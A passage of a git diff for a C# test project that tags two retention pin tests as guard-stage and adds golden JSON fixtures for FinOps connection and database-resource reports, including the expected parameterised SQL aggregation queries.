@@ -32,6 +32,7 @@ namespace Darling.Tests;
 /// not. Move both, or split them deliberately and delete this pin with a reason — do not "fix" it by
 /// copying whichever value happens to be under the cursor.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class FindingsRetentionCrossSkuPinTests
 {
     [Fact]
diff --git a/Darling/Darling.Tests/FindingsRetentionDefaultWiringPinTests.cs b/Darling/Darling.Tests/FindingsRetentionDefaultWiringPinTests.cs
index 96997d5f00..c3c25fcdf6 100644
--- a/Darling/Darling.Tests/FindingsRetentionDefaultWiringPinTests.cs
+++ b/Darling/Darling.Tests/FindingsRetentionDefaultWiringPinTests.cs
@@ -34,6 +34,7 @@ namespace Darling.Tests;
 /// moved — in which case move <see cref="AnalysisRetentionDefaults.FindingsRetentionDays"/> and let both
 /// defaults follow — or the wiring was undone and belongs back.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class FindingsRetentionDefaultWiringPinTests
 {
     /// <summary>
diff --git a/Darling/Darling.Tests/Fixtures/FinOpsApplicationConnections/golden.json b/Darling/Darling.Tests/Fixtures/FinOpsApplicationConnections/golden.json
new file mode 100644
index 0000000000..c5899f9f5b
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/FinOpsApplicationConnections/golden.json
@@ -0,0 +1,115 @@
+{
+  "a": [
+    {
+      "ApplicationName": "",
+      "AvgConnections": 11,
+      "MaxConnections": 20,
+      "AvgRunning": 0,
+      "MaxRunning": 0,
+      "AvgSleeping": 1,
+      "MaxSleeping": 1,
+      "AvgDormant": 0,
+      "MaxDormant": 0,
+      "AvgCpuTimeMs": 101,
+      "MaxCpuTimeMs": 101,
+      "AvgReads": 201,
+      "MaxReads": 201,
+      "AvgWrites": 301,
+      "MaxWrites": 301,
+      "AvgLogicalReads": 401,
+      "MaxLogicalReads": 401,
+      "SampleCount": 2,
+      "FirstSeenUtc": -420,
+      "LastSeenUtc": -360
+    },
+    {
+      "ApplicationName": "Alpha",
+      "AvgConnections": 8,
+      "MaxConnections": 12,
+      "AvgRunning": 2,
+      "MaxRunning": 2,
+      "AvgSleeping": 4,
+      "MaxSleeping": 4,
+      "AvgDormant": 1,
+      "MaxDormant": 2,
+      "AvgCpuTimeMs": 1001,
+      "MaxCpuTimeMs": 1001,
+      "AvgReads": 501,
+      "MaxReads": 501,
+      "AvgWrites": 51,
+      "MaxWrites": 51,
+      "AvgLogicalReads": 9001,
+      "MaxLogicalReads": 9001,
+      "SampleCount": 3,
+      "FirstSeenUtc": -540,
+      "LastSeenUtc": -60
+    },
+    {
+      "ApplicationName": "Bravo",
+      "AvgConnections": 7,
+      "MaxConnections": 12,
+      "AvgRunning": 2,
+      "MaxRunning": 3,
+      "AvgSleeping": 3,
+      "MaxSleeping": 5,
+      "AvgDormant": 2,
+      "MaxDormant": 4,
+      "AvgCpuTimeMs": 0,
+      "MaxCpuTimeMs": 0,
+      "AvgReads": 0,
+      "MaxReads": 0,
+      "AvgWrites": 0,
+      "MaxWrites": 0,
+      "AvgLogicalReads": 0,
+      "MaxLogicalReads": 0,
+      "SampleCount": 2,
+      "FirstSeenUtc": -180,
+      "LastSeenUtc": -120
+    },
+    {
+      "ApplicationName": "Charlie",
+      "AvgConnections": 3,
+      "MaxConnections": 3,
+      "AvgRunning": 1,
+      "MaxRunning": 1,
+      "AvgSleeping": 1,
+      "MaxSleeping": 1,
+      "AvgDormant": 1,
+      "MaxDormant": 1,
+      "AvgCpuTimeMs": 7,
+      "MaxCpuTimeMs": 7,
+      "AvgReads": 8,
+      "MaxReads": 8,
+      "AvgWrites": 9,
+      "MaxWrites": 9,
+      "AvgLogicalReads": 10,
+      "MaxLogicalReads": 10,
+      "SampleCount": 1,
+      "FirstSeenUtc": -240,
+      "LastSeenUtc": -240
+    },
+    {
+      "ApplicationName": "Edge",
+      "AvgConnections": 2,
+      "MaxConnections": 2,
+      "AvgRunning": 0,
+      "MaxRunning": 0,
+      "AvgSleeping": 1,
+      "MaxSleeping": 1,
+      "AvgDormant": 1,
+      "MaxDormant": 1,
+      "AvgCpuTimeMs": 5,
+      "MaxCpuTimeMs": 5,
+      "AvgReads": 6,
+      "MaxReads": 6,
+      "AvgWrites": 7,
+      "MaxWrites": 7,
+      "AvgLogicalReads": 8,
+      "MaxLogicalReads": 8,
+      "SampleCount": 1,
+      "FirstSeenUtc": -1439,
+      "LastSeenUtc": -1439
+    }
+  ],
+  "b": []
+}
diff --git a/Darling/Darling.Tests/Fixtures/FinOpsDatabaseResources/golden.json b/Darling/Darling.Tests/Fixtures/FinOpsDatabaseResources/golden.json
new file mode 100644
index 0000000000..175cfe3fc4
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/FinOpsDatabaseResources/golden.json
@@ -0,0 +1,190 @@
+{
+  "databaseResourceUsage": {
+    "a": [
+      {
+        "DatabaseName": "Alpha",
+        "CpuTimeMs": 11500,
+        "LogicalReads": 1400,
+        "PhysicalReads": 140,
+        "LogicalWrites": 70,
+        "ExecutionCount": 37,
+        "IoReadMb": 8.42,
+        "IoWriteMb": 4.18,
+        "IoStallMs": 170,
+        "PctCpuShare": 36.51,
+        "PctIoShare": 5.56
+      },
+      {
+        "DatabaseName": "Bravo",
+        "CpuTimeMs": 5000,
+        "LogicalReads": 300,
+        "PhysicalReads": 30,
+        "LogicalWrites": 10,
+        "ExecutionCount": 10,
+        "IoReadMb": 0.50,
+        "IoWriteMb": 1.50,
+        "IoStallMs": 10,
+        "PctCpuShare": 15.87,
+        "PctIoShare": 0.88
+      },
+      {
+        "DatabaseName": "Charlie",
+        "CpuTimeMs": 5000,
+        "LogicalReads": 200,
+        "PhysicalReads": 20,
+        "LogicalWrites": 5,
+        "ExecutionCount": 10,
+        "IoReadMb": 0.00,
+        "IoWriteMb": 0.00,
+        "IoStallMs": 0,
+        "PctCpuShare": 15.87,
+        "PctIoShare": 0.00
+      },
+      {
+        "DatabaseName": "Delta",
+        "CpuTimeMs": 3000,
+        "LogicalReads": 50,
+        "PhysicalReads": 5,
+        "LogicalWrites": 1,
+        "ExecutionCount": 0,
+        "IoReadMb": 0.00,
+        "IoWriteMb": 0.00,
+        "IoStallMs": 0,
+        "PctCpuShare": 9.52,
+        "PctIoShare": 0.00
+      },
+      {
+        "DatabaseName": "Foxtrot",
+        "CpuTimeMs": 2000,
+        "LogicalReads": 20,
+        "PhysicalReads": 2,
+        "LogicalWrites": 1,
+        "ExecutionCount": 5,
+        "IoReadMb": 0.00,
+        "IoWriteMb": 0.00,
+        "IoStallMs": 0,
+        "PctCpuShare": 6.35,
+        "PctIoShare": 0.00
+      },
+      {
+        "DatabaseName": "Echo",
+        "CpuTimeMs": 1000,
+        "LogicalReads": 10,
+        "PhysicalReads": 1,
+        "LogicalWrites": 0,
+        "ExecutionCount": 4,
+        "IoReadMb": 0.00,
+        "IoWriteMb": 0.00,
+        "IoStallMs": 0,
+        "PctCpuShare": 3.17,
+        "PctIoShare": 0.00
+      },
+      {
+        "DatabaseName": "Golf",
+        "CpuTimeMs": 0,
+        "LogicalReads": 0,
+        "PhysicalReads": 0,
+        "LogicalWrites": 0,
+        "ExecutionCount": 0,
+        "IoReadMb": 117.74,
+        "IoWriteMb": 94.19,
+        "IoStallMs": 110,
+        "PctCpuShare": 0.00,
+        "PctIoShare": 93.55
+      }
+    ],
+    "b": []
+  },
+  "topResourceConsumers": {
+    "a": {
+      "byTotal": [
+        {
+          "DatabaseName": "Alpha",
+          "CpuTimeMs": 11500,
+          "ExecutionCount": 37,
+          "IoTotalMb": 12.60,
+          "PctCpu": 36.51,
+          "PctIo": 5.56,
+          "TotalCpuTimeMs": 0,
+          "AvgIoMb": 0
+        },
+        {
+          "DatabaseName": "Bravo",
+          "CpuTimeMs": 5000,
+          "ExecutionCount": 10,
+          "IoTotalMb": 2.00,
+          "PctCpu": 15.87,
+          "PctIo": 0.88,
+          "TotalCpuTimeMs": 0,
+          "AvgIoMb": 0
+        },
+        {
+          "DatabaseName": "Charlie",
+          "CpuTimeMs": 5000,
+          "ExecutionCount": 10,
+          "IoTotalMb": 0.00,
+          "PctCpu": 15.87,
+          "PctIo": 0.00,
+          "TotalCpuTimeMs": 0,
+          "AvgIoMb": 0
+        }
+      ],
+      "byAvg": [
+        {
+          "DatabaseName": "Bravo",
+          "CpuTimeMs": 500,
+          "ExecutionCount": 10,
+          "IoTotalMb": 2.00,
+          "PctCpu": 0,
+          "PctIo": 0,
+          "TotalCpuTimeMs": 5000,
+          "AvgIoMb": 0.2000
+        },
+        {
+          "DatabaseName": "Charlie",
+          "CpuTimeMs": 500,
+          "ExecutionCount": 10,
+          "IoTotalMb": 0.00,
+          "PctCpu": 0,
+          "PctIo": 0,
+          "TotalCpuTimeMs": 5000,
+          "AvgIoMb": 0.0000
+        },
+        {
+          "DatabaseName": "",
+          "CpuTimeMs": 500,
+          "ExecutionCount": 8,
+          "IoTotalMb": 0.00,
+          "PctCpu": 0,
+          "PctIo": 0,
+          "TotalCpuTimeMs": 4000,
+          "AvgIoMb": 0.0000
+        }
+      ]
+    },
+    "b": {
+      "byTotal": [],
+      "byAvg": []
+    }
+  },
+  "sqlText": {
+    "usage_Raw_oneArg": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,\n        SUM(delta_logical_reads) AS logical_reads,\n        SUM(delta_physical_reads) AS physical_reads,\n        SUM(delta_logical_writes) AS logical_writes,\n        SUM(delta_execution_count) AS execution_count\n    FROM v_query_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_worker_time IS NOT NULL\n    AND   sample_interval_seconds IS DISTINCT FROM 0\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes) / 1048576.0 AS io_read_mb,\n        SUM(delta_write_bytes) / 1048576.0 AS io_write_mb,\n        SUM(delta_stall_read_ms + delta_stall_write_ms) AS io_stall_ms\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.logical_reads, 0) AS logical_reads,\n        COALESCE(w.physical_reads, 0) AS physical_reads,\n        COALESCE(w.logical_writes, 0) AS logical_writes,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_read_mb, 0) AS io_read_mb,\n        COALESCE(i.io_write_mb, 0) AS io_write_mb,\n        COALESCE(i.io_stall_ms, 0) AS io_stall_ms\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_read_mb + io_write_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.logical_reads,\n    c.physical_reads,\n    c.logical_writes,\n    c.execution_count,\n    CAST(c.io_read_mb AS DECIMAL(19,2)),\n    CAST(c.io_write_mb AS DECIMAL(19,2)),\n    c.io_stall_ms,\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)) AS pct_cpu_share,\n    CAST((c.io_read_mb + c.io_write_mb) * 100.0 / t.total_io AS DECIMAL(5,2)) AS pct_io_share\nFROM combined c\nCROSS JOIN totals t\nWHERE c.database_name IS NOT NULL\nORDER BY c.cpu_time_ms DESC",
+    "usage_Raw_unknown": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,\n        SUM(delta_logical_reads) AS logical_reads,\n        SUM(delta_physical_reads) AS physical_reads,\n        SUM(delta_logical_writes) AS logical_writes,\n        SUM(delta_execution_count) AS execution_count\n    FROM v_query_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_worker_time IS NOT NULL\n    AND   sample_interval_seconds IS DISTINCT FROM 0\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes) / 1048576.0 AS io_read_mb,\n        SUM(delta_write_bytes) / 1048576.0 AS io_write_mb,\n        SUM(delta_stall_read_ms + delta_stall_write_ms) AS io_stall_ms\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.logical_reads, 0) AS logical_reads,\n        COALESCE(w.physical_reads, 0) AS physical_reads,\n        COALESCE(w.logical_writes, 0) AS logical_writes,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_read_mb, 0) AS io_read_mb,\n        COALESCE(i.io_write_mb, 0) AS io_write_mb,\n        COALESCE(i.io_stall_ms, 0) AS io_stall_ms\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_read_mb + io_write_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.logical_reads,\n    c.physical_reads,\n    c.logical_writes,\n    c.execution_count,\n    CAST(c.io_read_mb AS DECIMAL(19,2)),\n    CAST(c.io_write_mb AS DECIMAL(19,2)),\n    c.io_stall_ms,\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)) AS pct_cpu_share,\n    CAST((c.io_read_mb + c.io_write_mb) * 100.0 / t.total_io AS DECIMAL(5,2)) AS pct_io_share\nFROM combined c\nCROSS JOIN totals t\nWHERE c.database_name IS NOT NULL\nORDER BY c.cpu_time_ms DESC",
+    "usage_Raw_stitched": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,\n        SUM(delta_logical_reads) AS logical_reads,\n        SUM(delta_physical_reads) AS physical_reads,\n        SUM(delta_logical_writes) AS logical_writes,\n        SUM(delta_execution_count) AS execution_count\n    FROM v_query_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_worker_time IS NOT NULL\n    AND   sample_interval_seconds IS DISTINCT FROM 0\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes) / 1048576.0 AS io_read_mb,\n        SUM(delta_write_bytes) / 1048576.0 AS io_write_mb,\n        SUM(delta_stall_read_ms + delta_stall_write_ms) AS io_stall_ms\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.logical_reads, 0) AS logical_reads,\n        COALESCE(w.physical_reads, 0) AS physical_reads,\n        COALESCE(w.logical_writes, 0) AS logical_writes,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_read_mb, 0) AS io_read_mb,\n        COALESCE(i.io_write_mb, 0) AS io_write_mb,\n        COALESCE(i.io_stall_ms, 0) AS io_stall_ms\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_read_mb + io_write_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.logical_reads,\n    c.physical_reads,\n    c.logical_writes,\n    c.execution_count,\n    CAST(c.io_read_mb AS DECIMAL(19,2)),\n    CAST(c.io_write_mb AS DECIMAL(19,2)),\n    c.io_stall_ms,\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)) AS pct_cpu_share,\n    CAST((c.io_read_mb + c.io_write_mb) * 100.0 / t.total_io AS DECIMAL(5,2)) AS pct_io_share\nFROM combined c\nCROSS JOIN totals t\nWHERE c.database_name IS NOT NULL\nORDER BY c.cpu_time_ms DESC",
+    "top_Raw_oneArg": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,\n        SUM(delta_execution_count) AS execution_count\n    FROM v_query_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_worker_time IS NOT NULL\n    AND   sample_interval_seconds IS DISTINCT FROM 0\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes + delta_write_bytes) / 1048576.0 AS io_total_mb\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_total_mb, 0) AS io_total_mb\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_total_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.execution_count,\n    CAST(c.io_total_mb AS DECIMAL(19,2)),\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)),\n    CAST(c.io_total_mb * 100.0 / t.total_io AS DECIMAL(5,2)),\n    CASE WHEN c.execution_count > 0 THEN CAST(c.cpu_time_ms * 1.0 / c.execution_count AS DECIMAL(19,2)) END,\n    CASE WHEN c.execution_count > 0 THEN CAST(c.io_total_mb * 1.0 / c.execution_count AS DECIMAL(19,4)) END\nFROM combined c\nCROSS JOIN totals t\nORDER BY c.database_name",
+    "top_Raw_unknown": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,\n        SUM(delta_execution_count) AS execution_count\n    FROM v_query_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_worker_time IS NOT NULL\n    AND   sample_interval_seconds IS DISTINCT FROM 0\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes + delta_write_bytes) / 1048576.0 AS io_total_mb\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_total_mb, 0) AS io_total_mb\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_total_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.execution_count,\n    CAST(c.io_total_mb AS DECIMAL(19,2)),\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)),\n    CAST(c.io_total_mb * 100.0 / t.total_io AS DECIMAL(5,2)),\n    CASE WHEN c.execution_count > 0 THEN CAST(c.cpu_time_ms * 1.0 / c.execution_count AS DECIMAL(19,2)) END,\n    CASE WHEN c.execution_count > 0 THEN CAST(c.io_total_mb * 1.0 / c.execution_count AS DECIMAL(19,4)) END\nFROM combined c\nCROSS JOIN totals t\nORDER BY c.database_name",
+    "top_Raw_stitched": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(delta_worker_time) / 1000.0 AS cpu_time_ms,\n        SUM(delta_execution_count) AS execution_count\n    FROM v_query_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_worker_time IS NOT NULL\n    AND   sample_interval_seconds IS DISTINCT FROM 0\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes + delta_write_bytes) / 1048576.0 AS io_total_mb\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_total_mb, 0) AS io_total_mb\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_total_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.execution_count,\n    CAST(c.io_total_mb AS DECIMAL(19,2)),\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)),\n    CAST(c.io_total_mb * 100.0 / t.total_io AS DECIMAL(5,2)),\n    CASE WHEN c.execution_count > 0 THEN CAST(c.cpu_time_ms * 1.0 / c.execution_count AS DECIMAL(19,2)) END,\n    CASE WHEN c.execution_count > 0 THEN CAST(c.io_total_mb * 1.0 / c.execution_count AS DECIMAL(19,4)) END\nFROM combined c\nCROSS JOIN totals t\nORDER BY c.database_name",
+    "usage_Hourly_oneArg": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,\n        SUM(logical_reads_sum) AS logical_reads,\n        SUM(physical_reads_sum) AS physical_reads,\n        SUM(logical_writes_sum) AS logical_writes,\n        SUM(execution_count_sum) AS execution_count\n    FROM collect.query_stats_db_hourly AS f\n    WHERE server_id = $1\n    AND   bucket >= $2\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes) / 1048576.0 AS io_read_mb,\n        SUM(delta_write_bytes) / 1048576.0 AS io_write_mb,\n        SUM(delta_stall_read_ms + delta_stall_write_ms) AS io_stall_ms\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.logical_reads, 0) AS logical_reads,\n        COALESCE(w.physical_reads, 0) AS physical_reads,\n        COALESCE(w.logical_writes, 0) AS logical_writes,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_read_mb, 0) AS io_read_mb,\n        COALESCE(i.io_write_mb, 0) AS io_write_mb,\n        COALESCE(i.io_stall_ms, 0) AS io_stall_ms\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_read_mb + io_write_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.logical_reads,\n    c.physical_reads,\n    c.logical_writes,\n    c.execution_count,\n    CAST(c.io_read_mb AS DECIMAL(19,2)),\n    CAST(c.io_write_mb AS DECIMAL(19,2)),\n    c.io_stall_ms,\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)) AS pct_cpu_share,\n    CAST((c.io_read_mb + c.io_write_mb) * 100.0 / t.total_io AS DECIMAL(5,2)) AS pct_io_share\nFROM combined c\nCROSS JOIN totals t\nWHERE c.database_name IS NOT NULL\nORDER BY c.cpu_time_ms DESC",
+    "usage_Hourly_unknown": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,\n        SUM(logical_reads_sum) AS logical_reads,\n        SUM(physical_reads_sum) AS physical_reads,\n        SUM(logical_writes_sum) AS logical_writes,\n        SUM(execution_count_sum) AS execution_count\n    FROM collect.query_stats_db_hourly AS f\n    WHERE server_id = $1\n    AND   bucket >= $2\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes) / 1048576.0 AS io_read_mb,\n        SUM(delta_write_bytes) / 1048576.0 AS io_write_mb,\n        SUM(delta_stall_read_ms + delta_stall_write_ms) AS io_stall_ms\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.logical_reads, 0) AS logical_reads,\n        COALESCE(w.physical_reads, 0) AS physical_reads,\n        COALESCE(w.logical_writes, 0) AS logical_writes,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_read_mb, 0) AS io_read_mb,\n        COALESCE(i.io_write_mb, 0) AS io_write_mb,\n        COALESCE(i.io_stall_ms, 0) AS io_stall_ms\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_read_mb + io_write_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.logical_reads,\n    c.physical_reads,\n    c.logical_writes,\n    c.execution_count,\n    CAST(c.io_read_mb AS DECIMAL(19,2)),\n    CAST(c.io_write_mb AS DECIMAL(19,2)),\n    c.io_stall_ms,\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)) AS pct_cpu_share,\n    CAST((c.io_read_mb + c.io_write_mb) * 100.0 / t.total_io AS DECIMAL(5,2)) AS pct_io_share\nFROM combined c\nCROSS JOIN totals t\nWHERE c.database_name IS NOT NULL\nORDER BY c.cpu_time_ms DESC",
+    "usage_Hourly_stitched": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,\n        SUM(logical_reads_sum) AS logical_reads,\n        SUM(physical_reads_sum) AS physical_reads,\n        SUM(logical_writes_sum) AS logical_writes,\n        SUM(execution_count_sum) AS execution_count\n    FROM (SELECT server_id, server_name, database_name, bucket, worker_time_sum, logical_reads_sum, physical_reads_sum, logical_writes_sum, execution_count_sum, last_execution_time_max, sample_count FROM collect.query_stats_db_hourly WHERE bucket < TIMESTAMP '2026-02-10 00:00:00.000000' UNION ALL SELECT server_id, server_name, database_name, bucket, worker_time_sum, logical_reads_sum, physical_reads_sum, logical_writes_sum, execution_count_sum, last_execution_time_max, sample_count FROM collect.query_stats_db_interval_hourly WHERE bucket >= TIMESTAMP '2026-02-10 00:00:00.000000') AS f\n    WHERE server_id = $1\n    AND   bucket >= $2\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes) / 1048576.0 AS io_read_mb,\n        SUM(delta_write_bytes) / 1048576.0 AS io_write_mb,\n        SUM(delta_stall_read_ms + delta_stall_write_ms) AS io_stall_ms\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.logical_reads, 0) AS logical_reads,\n        COALESCE(w.physical_reads, 0) AS physical_reads,\n        COALESCE(w.logical_writes, 0) AS logical_writes,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_read_mb, 0) AS io_read_mb,\n        COALESCE(i.io_write_mb, 0) AS io_write_mb,\n        COALESCE(i.io_stall_ms, 0) AS io_stall_ms\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_read_mb + io_write_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.logical_reads,\n    c.physical_reads,\n    c.logical_writes,\n    c.execution_count,\n    CAST(c.io_read_mb AS DECIMAL(19,2)),\n    CAST(c.io_write_mb AS DECIMAL(19,2)),\n    c.io_stall_ms,\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)) AS pct_cpu_share,\n    CAST((c.io_read_mb + c.io_write_mb) * 100.0 / t.total_io AS DECIMAL(5,2)) AS pct_io_share\nFROM combined c\nCROSS JOIN totals t\nWHERE c.database_name IS NOT NULL\nORDER BY c.cpu_time_ms DESC",
